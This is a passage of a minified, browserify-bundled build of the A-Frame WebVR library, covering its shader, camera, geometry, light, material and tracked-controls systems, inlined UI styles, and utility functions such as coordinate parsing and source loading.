r=e("../core/shader").registerShader,n=e("../lib/three"),o=e("../utils/");t.exports.Component=r("flat",{schema:{color:{type:"color"},fog:{"default":!0},height:{"default":256},repeat:{"default":""},src:{"default":""},width:{"default":512}},init:function(e){this.textureSrc=null,this.material=new n.MeshBasicMaterial(i(e)),o.material.updateMap(this,e)},update:function(e){this.updateMaterial(e),o.material.updateMap(this,e)},updateMaterial:function(e){var t=this.material;e=i(e),Object.keys(e).forEach(function(i){t[i]=e[i]})}})},{"../core/shader":65,"../lib/three":101,"../utils/":117}],103:[function(e){e("./flat"),e("./standard")},{"./flat":102,"./standard":104}],104:[function(e,t){function i(e){return{color:new n.Color(e.color),fog:e.fog,metalness:e.metalness,roughness:e.roughness}}var r=e("../core/shader").registerShader,n=e("../lib/three"),o=e("../utils/"),a=new n.CubeTextureLoader,s={};t.exports.Component=r("standard",{schema:{color:{type:"color"},envMap:{"default":""},fog:{"default":!0},height:{"default":256},metalness:{"default":0,min:0,max:1},repeat:{"default":""},roughness:{"default":.5,min:0,max:1},src:{"default":""},width:{"default":512}},init:function(e){this.material=new n.MeshStandardMaterial(i(e)),o.material.updateMap(this,e),this.updateEnvMap(e)},update:function(e){this.updateMaterial(e),o.material.updateMap(this,e),this.updateEnvMap(e)},updateMaterial:function(e){var t=this.material;e=i(e),Object.keys(e).forEach(function(i){t[i]=e[i]})},updateEnvMap:function(e){var t=this,i=this.material,r=e.envMap;return!r||this.isLoadingEnvMap?(i.envMap=null,void(i.needsUpdate=!0)):(this.isLoadingEnvMap=!0,s[r]?void s[r].then(function(e){t.isLoadingEnvMap=!1,i.envMap=e,i.needsUpdate=!0}):void(s[r]=new Promise(function(e){o.srcLoader.validateCubemapSrc(r,function(r){a.load(r,function(r){t.isLoadingEnvMap=!1,i.envMap=r,e(r)})})})))}})},{"../core/shader":65,"../lib/three":101,"../utils/":117}],105:[function(e,t){var i=".a-html{bottom:0;left:0;position:fixed;right:0;top:0}.a-body{height:100%;margin:0;overflow:hidden;padding:0;width:100%}:-webkit-full-screen{background-color:transparent}.a-hidden{display:none!important}.a-canvas{height:100%;left:0;position:absolute;top:0;width:100%}.a-canvas.fullscreen{width:100%!important;height:100%!important;top:0!important;left:0!important;right:0!important;bottom:0!important;z-index:999999!important;position:fixed}a-scene{display:block;position:relative;height:100%;width:100%}a-assets,a-scene audio,a-scene img,a-scene video{display:none}.a-enter-vr-modal,.a-orientation-modal{font-family:Consolas,Andale Mono,Courier New,monospace}.a-enter-vr-modal a{border-bottom:1px solid #fff;padding:2px 0;text-decoration:none;transition:.1s color ease-in}.a-enter-vr-modal a:hover{background-color:#fff;color:#111;padding:2px 4px;position:relative;left:-4px}.a-enter-vr{font-family:sans-serif,monospace;font-size:13px;width:100%;font-weight:200;line-height:16px;height:10%;position:absolute;right:20px;bottom:20px}.a-enter-vr.embedded{right:5px;bottom:5px}.a-enter-vr-button,.a-enter-vr-modal,.a-enter-vr-modal a{color:#fff}.a-enter-vr-button{background:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20245.82%20141.73%22%3E%3Cdefs%3E%3Cstyle%3E.a%7Bfill%3A%23fff%3Bfill-rule%3Aevenodd%3B%7D%3C%2Fstyle%3E%3C%2Fdefs%3E%3Ctitle%3Emask%3C%2Ftitle%3E%3Cpath%20class%3D%22a%22%20d%3D%22M175.56%2C111.37c-22.52%2C0-40.77-18.84-40.77-42.07S153%2C27.24%2C175.56%2C27.24s40.77%2C18.84%2C40.77%2C42.07S198.08%2C111.37%2C175.56%2C111.37ZM26.84%2C69.31c0-23.23%2C18.25-42.07%2C40.77-42.07s40.77%2C18.84%2C40.77%2C42.07-18.26%2C42.07-40.77%2C42.07S26.84%2C92.54%2C26.84%2C69.31ZM27.27%2C0C11.54%2C0%2C0%2C12.34%2C0%2C28.58V110.9c0%2C16.24%2C11.54%2C30.83%2C27.27%2C30.83H99.57c2.17%2C0%2C4.19-1.83%2C5.4-3.7L116.47%2C118a8%2C8%2C0%2C0%2C1%2C12.52-.18l11.51%2C20.34c1.2%2C1.86%2C3.22%2C3.61%2C5.39%2C3.61h72.29c15.74%2C0%2C27.63-14.6%2C27.63-30.83V28.58C245.82%2C12.34%2C233.93%2C0%2C218.19%2C0H27.27Z%22%2F%3E%3C%2Fsvg%3E) 50% 50%/70% 70% no-repeat rgba(0,0,0,.35);border:0;bottom:0;cursor:pointer;min-width:50px;min-height:30px;padding-right:5%;padding-top:4%;position:absolute;right:0;transition:background-color .05s ease;-webkit-transition:background-color .05s ease;z-index:9999}.a-enter-vr-button.fullscreen{background:url(data:image/svg+xml;base64,your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashdHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHZpZXdCb3g9IjAgMCAxNiAxNiI+your_sha256_hashyour_sha256_hashyour_sha256_hashLjV6Ij48L3BhdGg+your_sha256_hashyour_sha256_hashyour_sha256_hashPjwvcGF0aD4KPC9zdmc+Cg==) 50% 50%/60% 60% no-repeat rgba(0,0,0,.35);min-width:45px;min-height:45px}.a-enter-vr-button:active,.a-enter-vr-button:hover{background-color:#666}[data-a-enter-vr-no-webvr] .a-enter-vr-button{border-color:#666;opacity:.65}[data-a-enter-vr-no-webvr] .a-enter-vr-button:active,[data-a-enter-vr-no-webvr] .a-enter-vr-button:hover{background-color:rgba(0,0,0,.35);cursor:not-allowed}.a-enter-vr-modal{background-color:#666;border-radius:0;display:none;min-height:32px;margin-right:70px;padding:9px;width:280px;right:2%;position:absolute}.a-enter-vr-modal:after{border-bottom:10px solid transparent;border-left:10px solid #666;border-top:10px solid transparent;display:inline-block;content:'';position:absolute;right:-5px;top:5px;width:0;height:0}.a-enter-vr-modal a,.a-enter-vr-modal p{display:inline}.a-enter-vr-modal p{margin:0}.a-enter-vr-modal p:after{content:' '}[data-a-enter-vr-no-headset].a-enter-vr:hover .a-enter-vr-modal,[data-a-enter-vr-no-webvr].a-enter-vr:hover .a-enter-vr-modal{display:block}.a-orientation-modal{background:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20xmlns%3Axlink%3D%22http%3A//www.w3.org/1999/xlink%22%20version%3D%221.1%22%20x%3D%220px%22%20y%3D%220px%22%20viewBox%3D%220%200%2090%2090%22%20enable-background%3D%22new%200%200%2090%2090%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpolygon%20points%3D%220%2C0%200%2C0%200%2C0%20%22%3E%3C/polygon%3E%3Cg%3E%3Cpath%20d%3D%22M71.545%2C48.145h-31.98V20.743c0-2.627-2.138-4.765-4.765-4.765H18.456c-2.628%2C0-4.767%2C2.138-4.767%2C4.765v42.789%20%20%20c0%2C2.628%2C2.138%2C4.766%2C4.767%2C4.766h5.535v0.959c0%2C2.628%2C2.138%2C4.765%2C4.766%2C4.765h42.788c2.628%2C0%2C4.766-2.137%2C4.766-4.765V52.914%20%20%20C76.311%2C50.284%2C74.173%2C48.145%2C71.545%2C48.145z%20M18.455%2C16.935h16.344c2.1%2C0%2C3.808%2C1.708%2C3.808%2C3.808v27.401H37.25V22.636%20%20%20c0-0.264-0.215-0.478-0.479-0.478H16.482c-0.264%2C0-0.479%2C0.214-0.479%2C0.478v36.585c0%2C0.264%2C0.215%2C0.478%2C0.479%2C0.478h7.507v7.644%20%20%20h-5.534c-2.101%2C0-3.81-1.709-3.81-3.81V20.743C14.645%2C18.643%2C16.354%2C16.935%2C18.455%2C16.935z%20M16.96%2C23.116h19.331v25.031h-7.535%20%20%20c-2.628%2C0-4.766%2C2.139-4.766%2C4.768v5.828h-7.03V23.116z%20M71.545%2C73.064H28.757c-2.101%2C0-3.81-1.708-3.81-3.808V52.914%20%20%20c0-2.102%2C1.709-3.812%2C3.81-3.812h42.788c2.1%2C0%2C3.809%2C1.71%2C3.809%2C3.812v16.343C75.354%2C71.356%2C73.645%2C73.064%2C71.545%2C73.064z%22%3E%3C/path%3E%3Cpath%20d%3D%22M28.919%2C58.424c-1.466%2C0-2.659%2C1.193-2.659%2C2.66c0%2C1.466%2C1.193%2C2.658%2C2.659%2C2.658c1.468%2C0%2C2.662-1.192%2C2.662-2.658%20%20%20C31.581%2C59.617%2C30.387%2C58.424%2C28.919%2C58.424z%20M28.919%2C62.786c-0.939%2C0-1.703-0.764-1.703-1.702c0-0.939%2C0.764-1.704%2C1.703-1.704%20%20%20c0.94%2C0%2C1.705%2C0.765%2C1.705%2C1.704C30.623%2C62.022%2C29.858%2C62.786%2C28.919%2C62.786z%22%3E%3C/path%3E%3Cpath%20d%3D%22M69.654%2C50.461H33.069c-0.264%2C0-0.479%2C0.215-0.479%2C0.479v20.288c0%2C0.264%2C0.215%2C0.478%2C0.479%2C0.478h36.585%20%20%20c0.263%2C0%2C0.477-0.214%2C0.477-0.478V50.939C70.131%2C50.676%2C69.917%2C50.461%2C69.654%2C50.461z%20M69.174%2C51.417V70.75H33.548V51.417H69.174z%22%3E%3C/path%3E%3Cpath%20d%3D%22M45.201%2C30.296c6.651%2C0%2C12.233%2C5.351%2C12.551%2C11.977l-3.033-2.638c-0.193-0.165-0.507-0.142-0.675%2C0.048%20%20%20c-0.174%2C0.198-0.153%2C0.501%2C0.045%2C0.676l3.883%2C3.375c0.09%2C0.075%2C0.198%2C0.115%2C0.312%2C0.115c0.141%2C0%2C0.273-0.061%2C0.362-0.166%20%20%20l3.371-3.877c0.173-0.2%2C0.151-0.502-0.047-0.675c-0.194-0.166-0.508-0.144-0.676%2C0.048l-2.592%2C2.979%20%20%20c-0.18-3.417-1.629-6.605-4.099-9.001c-2.538-2.461-5.877-3.817-9.404-3.817c-0.264%2C0-0.479%2C0.215-0.479%2C0.479%20%20%20C44.72%2C30.083%2C44.936%2C30.296%2C45.201%2C30.296z%22%3E%3C/path%3E%3C/g%3E%3C/svg%3E) center/50% 50% no-repeat rgba(244,244,244,1);bottom:0;font-size:14px;font-weight:600;left:0;line-height:20px;right:0;position:fixed;top:0;z-index:9999999}.a-orientation-modal:after{color:#666;content:\"Insert phone into Cardboard holder.\";display:block;position:absolute;text-align:center;top:70%;transform:translateY(-70%);width:100%}.a-orientation-modal button{background:url(data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A//www.w3.org/2000/svg%22%20xmlns%3Axlink%3D%22http%3A//www.w3.org/1999/xlink%22%20version%3D%221.1%22%20x%3D%220px%22%20y%3D%220px%22%20viewBox%3D%220%200%20100%20100%22%20enable-background%3D%22new%200%200%20100%20100%22%20xml%3Aspace%3D%22preserve%22%3E%3Cpath%20fill%3D%22%23000000%22%20d%3D%22M55.209%2C50l17.803-17.803c1.416-1.416%2C1.416-3.713%2C0-5.129c-1.416-1.417-3.713-1.417-5.129%2C0L50.08%2C44.872%20%20L32.278%2C27.069c-1.416-1.417-3.714-1.417-5.129%2C0c-1.417%2C1.416-1.417%2C3.713%2C0%2C5.129L44.951%2C50L27.149%2C67.803%20%20c-1.417%2C1.416-1.417%2C3.713%2C0%2C5.129c0.708%2C0.708%2C1.636%2C1.062%2C2.564%2C1.062c0.928%2C0%2C1.856-0.354%2C2.564-1.062L50.08%2C55.13l17.803%2C17.802%20%20c0.708%2C0.708%2C1.637%2C1.062%2C2.564%2C1.062s1.856-0.354%2C2.564-1.062c1.416-1.416%2C1.416-3.713%2C0-5.129L55.209%2C50z%22%3E%3C/path%3E%3C/svg%3E) no-repeat;border:none;height:50px;text-indent:-9999px;width:50px}";e("browserify-css").createStyle(i,{href:"src/style/aframe.css"}),t.exports=i},{"browserify-css":1}],106:[function(e,t){var i=".rs-base{background-color:#333;border-radius:0;font:10px monospace;left:5px;line-height:1em;opacity:.85;overflow:hidden;padding:10px;position:fixed;top:5px;width:300px;z-index:10000}.rs-base div.hidden{display:none}.rs-base h1{color:#fff;cursor:pointer;font-size:1.4em;font-weight:300;margin:0 0 5px;padding:0}.rs-group{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-flex-direction:column-reverse;flex-direction:column-reverse;margin-bottom:5px}.rs-group:last-child{margin-bottom:0}.rs-counter-base{align-items:center;display:-webkit-box;display:-webkit-flex;display:flex;height:10px;-webkit-justify-content:space-between;justify-content:space-between;margin:2px 0}.rs-counter-id{font-weight:300;-webkit-box-ordinal-group:0;-webkit-order:0;order:0;width:54px}.rs-counter-value{font-weight:300;-webkit-box-ordinal-group:1;-webkit-order:1;order:1;text-align:right;width:35px}.rs-canvas{-webkit-box-ordinal-group:2;-webkit-order:2;order:2}@media (min-width:480px){.rs-base{left:20px;top:20px}}";e("browserify-css").createStyle(i,{href:"src/style/rStats.css"}),t.exports=i},{"browserify-css":1}],107:[function(e,t){function i(e){var t,i=e.camera;i&&(t=e.querySelector("["+n+"]"),t&&e.removeChild(t))}var r=e("../core/system").registerSystem,n="data-aframe-default-camera",o=1.8;t.exports.System=r("camera",{init:function(){this.activeCameraEl=null,this.setupDefaultCamera()},setupDefaultCamera:function(){function e(){var e=r.camera;return e?void r.emit("camera-ready",{cameraEl:e.el}):(t=document.createElement("a-entity"),t.setAttribute("position","0 0 0"),t.setAttribute(n,""),t.setAttribute("camera",{active:!0,userHeight:o}),t.setAttribute("wasd-controls",""),t.setAttribute("look-controls",""),r.appendChild(t),r.addEventListener("enter-vr",i.removeDefaultOffset),r.addEventListener("exit-vr",i.addDefaultOffset),void r.emit("camera-ready",{cameraEl:t}))}var t,i=this,r=this.sceneEl;setTimeout(e)},disableActiveCamera:function(){var e=this.sceneEl.querySelectorAll("[camera]"),t=e[e.length-1];t.setAttribute("camera","active",!0)},setActiveCamera:function(e){var t,r,o=this.sceneEl.querySelectorAll("[camera]"),a=this.sceneEl,s=e.getObject3D("camera"),c=this.activeCameraEl;if(s&&e!==this.activeCameraEl){var u=a.querySelector("["+n+"]"),l=u&&u.querySelector("[camera]");for(e!==l&&i(a),this.activeCameraEl=e,this.activeCameraEl.play(),a.camera=s,c&&c.setAttribute("camera","active",!1),r=0;r<o.length;r++)t=o[r],e!==t&&(t.setAttribute("camera","active",!1),t.pause());a.emit("camera-set-active",{cameraEl:e})}}})},{"../core/system":66}],108:[function(e,t){function i(e){var t=e.primitive,i=a[t]&&a[t].Geometry,r=new i;if(!i)throw new Error("Unknown geometry `"+t+"`");return r.init(e),o(r.geometry,e.buffer)}function r(e,t){e[t]--}function n(e,t){e[t]=void 0===e[t]?1:e[t]+1}function o(e,t){var i;return t?(i=(new c.BufferGeometry).fromGeometry(e),i.metadata={type:e.type,parameters:e.parameters||{}},e.dispose(),i):e}var a=e("../core/geometry").geometries,s=e("../core/system").registerSystem,c=e("../lib/three");t.exports.System=s("geometry",{init:function(){this.cache={},this.cacheCount={}},clearCache:function(){this.cache={},this.cacheCount={}},getOrCreateGeometry:function(e){var t,r,o=this.cache;return e.skipCache?i(e):(r=this.hash(e),t=o[r],n(this.cacheCount,r),t?t:(t=i(e),o[r]=t,t))},unuseGeometry:function(e){var t,i,n=this.cache,o=this.cacheCount;e.skipCache||(i=this.hash(e),n[i]&&(r(o,i),o[i]>0||(t=n[i],t.dispose(),delete n[i],delete o[i])))},hash:function(e){return JSON.stringify(e)}})},{"../core/geometry":58,"../core/system":66,"../lib/three":101}],109:[function(e){e("./camera"),e("./geometry"),e("./light"),e("./material"),e("./tracked-controls")},{"./camera":107,"./geometry":108,"./light":110,"./material":111,"./tracked-controls":112}],110:[function(e,t){var i=e("../core/system").registerSystem,r="data-aframe-default-light";t.exports.System=i("light",{init:function(){this.defaultLightsEnabled=null,this.setupDefaultLights()},registerLight:function(e){var t,i=this.sceneEl;if(this.defaultLightsEnabled&&!e.hasAttribute(r)){t=document.querySelectorAll("["+r+"]");for(var n=0;n<t.length;n++)i.removeChild(t[n]);this.defaultLightsEnabled=!1}},setupDefaultLights:function(){var e=this.sceneEl,t=document.createElement("a-entity"),i=document.createElement("a-entity");t.setAttribute("light",{color:"#BBB",type:"ambient"}),t.setAttribute(r,""),e.appendChild(t),i.setAttribute("light",{color:"#FFF",intensity:.6}),i.setAttribute("position",{x:-.5,y:1,z:1}),i.setAttribute(r,""),e.appendChild(i),this.defaultLightsEnabled=!0}})},{"../core/system":66}],111:[function(e,t){function i(e,t){var i,r,n,o=t.getAttribute("id");if(o)return o;for(r="",n=e||{},i=0;i<t.attributes.length;i++)n[t.attributes[i].name]=t.attributes[i].value;return Object.keys(n).sort().forEach(function(e){r+=e+":"+n[e]+";"}),r}function r(e,t){function i(i){function r(e){n(e,t),e.needsUpdate=!0,i(e)}var o="string"!=typeof e;return o?void r(new c.Texture(e)):void d.load(e,r,function(){},function(e){h("`$s` could not be fetched (Error code: %s; Response: %s)",e.status,e.statusText)})}return new Promise(i)}function n(e,t){var i=t.repeat||"1 1",r=i.split(" ");"1 1"!==i&&2===r.length&&(e.wrapS=c.RepeatWrapping,e.wrapT=c.RepeatWrapping,e.repeat.set(parseFloat(r[0]),parseFloat(r[1])))}function o(e,t,i){var r=document.createElement("video");return r.width=t,r.height=i,r.setAttribute("webkit-playsinline",""),r.autoplay=!0,r.loop=!0,r.crossOrigin="anonymous",r.addEventListener("error",function(){p("`$s` is not a valid video",e)},!0),r.src=e,r}function a(e){return e.autoplay="false"!==e.getAttribute("autoplay"),e.controls="false"!==e.getAttribute("controls"),"false"===e.getAttribute("loop")&&e.removeAttribute("loop"),"false"===e.getAttribute("preload")&&(e.preload="none"),e.crossOrigin=e.crossOrigin||"anonymous",e.setAttribute("webkit-playsinline",""),e}var s=e("../core/system").registerSystem,c=e("../lib/three"),u=e("../utils/"),l=u.debug,h=l("components:texture:error"),d=new c.TextureLoader,p=l("components:texture:warn");t.exports.System=s("material",{init:function(){this.materials={},this.textureCache={}},clearTextureCache:function(){this.textureCache={}},loadTexture:function(e,t,i){function r(e){a.loadImage(e,t,i)}function n(e){a.loadVideo(e,t,i)}function o(e){a.loadCanvas(e,t,i)}var a=this;u.srcLoader.validateSrc(e,r,n,o)},loadImage:function(e,t,i){var n=this.hash(t),o=i,a=this.textureCache;return a[n]?void a[n].then(o):(a[n]=r(e,t),void a[n].then(o))},loadCanvas:function(e,t,i){e.readyState=2,e.HAVE_CURRENT_DATA=2,this.loadVideo(e,t,i)},loadVideo:function(e,t,i){function r(e){e.texture.needsUpdate=!0,i(e.texture,e.videoEl)}var s,u,l,h,d=this.textureCache;if("string"!=typeof e){if(l=e,s=this.hashVideo(t,l),d[s])return void d[s].then(r);a(l)}return l=l||o(e,t.width,t.height),s=this.hashVideo(t,l),d[s]?void d[s].then(r):(u=new c.VideoTexture(l),u.minFilter=c.LinearFilter,n(u,t),h={texture:u,videoEl:l},d[s]=Promise.resolve(h),void r(h))},hash:function(e){return JSON.stringify(e)},hashVideo:function(e,t){return i(e,t)},registerMaterial:function(e){this.materials[e.uuid]=e},unregisterMaterial:function(e){delete this.materials[e.uuid]},updateMaterials:function(){var e=this.materials;Object.keys(e).forEach(function(t){e[t].needsUpdate=!0})}})},{"../core/system":66,"../lib/three":101,"../utils/":117}],112:[function(e,t){var i=e("../core/system").registerSystem;t.exports.System=i("tracked-controls",{init:function(){var e=this;this.controllers=[],navigator.getVRDisplays&&navigator.getVRDisplays().then(function(t){t.length>0&&(e.vrDisplay=t[0])})},tick:function(){var e,t,i=navigator.getGamepads&&navigator.getGamepads(),r=this.controllers=[];if(i)for(t=0;t<i.length;++t)e=i[t],e&&e.pose&&r.push(e)}})},{"../core/system":66}],113:[function(e,t){var i=e("../lib/three"),r=new i.Object3D,n=new i.VRControls(r);t.exports=function(){var e;return n.update(),e=r.quaternion,0!==e._x||0!==e._y||0!==e._z?!0:void 0}},{"../lib/three":101}],114:[function(e,t){function i(e,t){var i,r={};return e&&"object"==typeof e?n(e):"string"!=typeof e||null===e?t:(i=e.trim().replace(/\s+/g," ").split(" "),r.x=i[0]||t&&t.x,r.y=i[1]||t&&t.y,r.z=i[2]||t&&t.z,r.w=i[3]||t&&t.w,n(r))}function r(e){return"object"!=typeof e?e:[e.x,e.y,e.z,e.w].join(" ").trim()}function n(e){return Object.keys(e).forEach(function(t){return void 0===e[t]?void delete e[t]:void(e[t]=parseFloat(e[t],10))}),e}var o=/\s*(-?\d*\.{0,1}\d+)\s+(-?\d*\.{0,1}\d+)\s+(-?\d*\.{0,1}\d+)\s*/;t.exports.regex=o,t.exports.parse=i,t.exports.stringify=r,t.exports.isCoordinate=function(e){return o.test(e)},t.exports.toVector3=function(e){return new THREE.Vector3(e.x,e.y,e.z)}},{}],115:[function(e,t){(function(i){function r(e){var t=e.split(":");return t[t.length-1]}function n(e){var t=r(e),i=c.colors&&c.colors[t];return i||null}function o(){try{return window.localStorage}catch(e){}}var a=e("debug"),s=e("object-assign"),c={colors:{debug:"gray",error:"red",info:"gray",warn:"orange"}},u=function(e){var t=a(e);return t.color=n(e),t};s(u,a);var l=o();u.enable(l&&(parseInt(l.logs,10)||"true"===l.logs)?"*":"*:error,*:info,*:warn"),i.browser&&(window.logs=u),t.exports=u}).call(this,e("_process"))},{_process:2,debug:3,"object-assign":9}],116:[function(e,t){t.exports.getComponentProperty=function(e,t,i){var r;return i=i||".",-1!==t.indexOf(i)?(r=t.split(i),e.getComputedAttribute(r[0])[r[1]]):e.getComputedAttribute(t)},t.exports.setComponentProperty=function(e,t,i,r){var n;return r=r||".",-1!==t.indexOf(r)?(n=t.split(r),void e.setAttribute(n[0],n[1],i)):void e.setAttribute(t,i)}},{}],117:[function(e,t){function i(e,t){var i,r=Object.keys(e),n=Object.keys(t);if(r.length!==n.length)return!1;if(0===r.length)return e===t;for(i=0;i<r.length;++i)if(e[r[i]]!==t[r[i]])return!1;return!0}var r=e("deep-assign"),n=e("object-assign");t.exports.coordinates=e("./coordinates"),t.exports.checkHeadsetConnected=e("./checkHeadsetConnected"),t.exports.debug=e("./debug"),t.exports.entity=e("./entity"),t.exports.material=e("./material"),t.exports.styleParser=e("./styleParser"),t.exports.fireEvent=function(e,t,i){i=i||{},i.detail=i.detail||{},i.detail.target=i.detail.target||e;var r=new CustomEvent(t,i);r.target=e,e.dispatchEvent(r)},t.exports.extend=n,t.exports.extendDeep=r,t.exports.deepEqual=i,t.exports.diff=function(e,t){var r={},n=Object.keys(e);return Object.keys(t).forEach(function(e){-1===n.indexOf(e)&&n.push(e)}),n.forEach(function(n){var o=e[n],a=t[n],s=o&&a&&o.constructor===Object&&a.constructor===Object;(s&&!i(o,a)||!s&&o!==a)&&(r[n]=a)}),r},t.exports.isMobile=function(){var e=!1;return function(t){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(t)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(t.substr(0,4)))&&(e=!0),o()&&(e=!0),a()&&(e=!1)}(navigator.userAgent||navigator.vendor||window.opera),e};var o=t.exports.isIOS=function(){return/iPad|iPhone|iPod/.test(navigator.platform)},a=t.exports.isGearVR=function(){return/SamsungBrowser.+Mobile VR/i.test(navigator.userAgent)};t.exports.isLandscape=function(){return 90===window.orientation||-90===window.orientation},t.exports.shouldCaptureKeyEvent=function(e){return e.shiftKey||e.metaKey||e.altKey||e.ctrlKey?!1:document.activeElement===document.body},t.exports.splitString=function(e,t){"undefined"==typeof t&&(t=" ");var i=new RegExp(t,"g");return e=(e||"").replace(i,t),e.split(t)},t.exports.getElData=function(e,t){function i(t){e.hasAttribute(t)&&(r[t]=e.getAttribute(t))}t=t||{};var r={};return Object.keys(t).forEach(i),r},t.exports.getUrlParameter=function(e){e=e.replace(/[\[]/,"\\[").replace(/[\]]/,"\\]");var t=new RegExp("[\\?&]"+e+"=([^&#]*)"),i=t.exec(location.search);return null===i?"":decodeURIComponent(i[1].replace(/\+/g," "))},t.exports.isIframed=function(){return window.top!==window.self},t.exports.findAllScenes=function(e){for(var t=[],i=e.getElementsByTagName("*"),r=0,n=i.length;n>r;r++)i[r].isScene&&t.push(i[r]);return t},t.exports.srcLoader=e("./src-loader")},{"./checkHeadsetConnected":113,"./coordinates":114,"./debug":115,"./entity":116,"./material":118,"./src-loader":119,"./styleParser":120,"deep-assign":6,"object-assign":9}],118:[function(e,t){function i(e,t){t&&(e.emit("materialtextureloaded",{src:t.image,texture:t}),"VIDEO"===t.image.tagName&&(t.image.addEventListener("loadeddata",function(){e.emit("materialvideoloadeddata",{src:t.image,texture:t})}),t.image.addEventListener("ended",function(){e.emit("materialvideoended",{src:t.image,texture:t})})))}t.exports.updateMap=function(e,t){function r(e){o.map=e,o.needsUpdate=!0,i(n,e)}var n=e.el,o=e.material,a=t.src;if(a){if(a===e.textureSrc)return;return e.textureSrc=a,void n.sceneEl.systems.material.loadTexture(a,{src:a,repeat:t.repeat},r)}o.map&&r(null)},t.exports.handleTextureEvents=i},{}],119:[function(e,t){function i(e,t,i,r){var s,u,l,h,d=n(e);return d?void o(d,function(e){return e?void t(d):void i(d)}):(s=a(e))?(u=s&&"IMG"===s.tagName,l=s&&"VIDEO"===s.tagName,h=s&&"CANVAS"===s.tagName,u?t(s):l?i(s):h?r(s):void c('"%s" does not point to a valid <img>, <video>, or <canvas> element',e)):void 0}function r(e,t){function r(e){l.push(e),6===l.length&&t(l)}var n,o,s,u="",l=[];for(o=0;6>o;o++)u+="url((.+))s*,s*";if(s=e.match(u))for(o=1;7>o;o++)i(s[o],r);else if(n=a(e))return"A-CUBEMAP"===n.tagName&&n.srcs?t(n.srcs):void c('Selector "%s" does not point to <a-cubemap>',e)}function n(e){var t=e.match(/\url\((.+)\)/);if(t)return t[1]}function o(e,t){function i(){t(!0)}function r(){t(!1)}var n=new Image;n.addEventListener("load",i),n.addEventListener("error",r),n.src=e}function a(e){try{var t=document.querySelector(e);return t||c('No element was found matching the selector: "%s"',e),t}catch(i){return void c('"%s" is not a valid selector',e)}}var s=e("./debug"),c=s("utils:src-loader:warn");t.exports={parseUrl:n,validateSrc:i,validateCubemapSrc:r}},{"./debug":115}],120:[function(e,t){function i(e){function t(e){return e[1].toUpperCase()}return e.replace(/-([a-z])/g,t)}function r(e){var t=Object.keys(e),r={};return t.forEach(function(t){var n=i(t);r[n]=e[t]}),r}var n=e("style-attr");t.exports.parse=function(e){var t;return"string"!=typeof e?e:(t=n.parse(e),t[""]?e:r(t))},t.exports.stringify=function(e){return"string"==typeof e?e:n.stringify(e)},t.exports.toCamelCase=i,t.exports.transformKeysToCamelCase=r},{"style-attr":12}],121:[function(){THREE.VRControls=function(e,t){function i(e){for(var i=0;i<e.length;i++)if("VRDisplay"in window&&e[i]instanceof VRDisplay||"PositionSensorVRDevice"in window&&e[i]instanceof PositionSensorVRDevice){r=e[i];break}r||t&&t("VR input not available.")}var r,n=this,o=new 